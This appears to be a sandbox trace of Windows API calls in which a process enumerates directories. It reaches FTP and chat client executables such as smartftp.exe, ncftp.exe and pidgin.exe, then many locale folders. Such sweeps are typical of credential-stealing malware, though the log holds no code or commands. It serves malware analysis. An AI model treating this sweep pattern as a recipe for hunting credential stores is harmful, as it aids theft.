	[0091.741] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36dd3130, ftCreationTime.dwHighDateTime=0x1d56b02, ftLastAccessTime.dwLowDateTime=0x8b766a50, ftLastAccessTime.dwHighDateTime=0x1d5d7df, ftLastWriteTime.dwLowDateTime=0x8b766a50, ftLastWriteTime.dwHighDateTime=0x1d5d7df, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1
	[0091.741] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0091.741] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3e7f5f27, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7f5f27, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0091.743] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0091.743] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0091.743] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.743] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0091.744] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0091.744] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0091.745] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.745] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0091.745] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0091.745] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0091.745] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0
	[0091.745] FindClose (in: hFindFile=0x31215d0 | out: hFindFile=0x31215d0) returned 1
	[0091.745] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0091.746] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f693a10, ftCreationTime.dwHighDateTime=0x1d5b4a0, ftLastAccessTime.dwLowDateTime=0x3f4e61d0, ftLastAccessTime.dwHighDateTime=0x1d5c3eb, ftLastWriteTime.dwLowDateTime=0x3f4e61d0, ftLastWriteTime.dwHighDateTime=0x1d5c3eb, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 1
	[0091.746] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0091.746] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3e7a9c0e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7a9c0e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="rempl", cAlternateFileName="")) returned 1
	[0091.748] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0091.748] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35808440, ftCreationTime.dwHighDateTime=0x1d5b85a, ftLastAccessTime.dwLowDateTime=0x788ada20, ftLastAccessTime.dwHighDateTime=0x1d59630, ftLastWriteTime.dwLowDateTime=0x788ada20, ftLastWriteTime.dwHighDateTime=0x1d59630, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1
	[0091.748] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0091.748] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x3e7f5f27, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7f5f27, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0091.752] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0091.752] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747f43e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x749f4454, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UNP", cAlternateFileName="")) returned 1
	[0091.752] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.752] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0091.753] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.753] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1
	[0091.753] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.753] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1
	[0091.753] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.753] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0091.753] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.754] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0091.754] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.754] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1
	[0091.754] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.754] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1
	[0091.754] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.754] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0091.755] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.755] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0091.755] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.755] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1
	[0091.755] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.755] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1
	[0091.755] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.755] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0091.756] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.756] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1
	[0091.756] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.756] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1
	[0091.756] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.756] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1
	[0091.757] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.757] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1
	[0091.757] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.757] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1
	[0091.757] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.757] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1
	[0091.758] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.758] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1
	[0091.758] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.758] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0091.758] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.758] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1
	[0091.758] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.758] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1
	[0091.759] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.759] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1
	[0091.759] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.759] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1
	[0091.759] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.759] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0091.759] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.759] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0091.760] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.760] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1
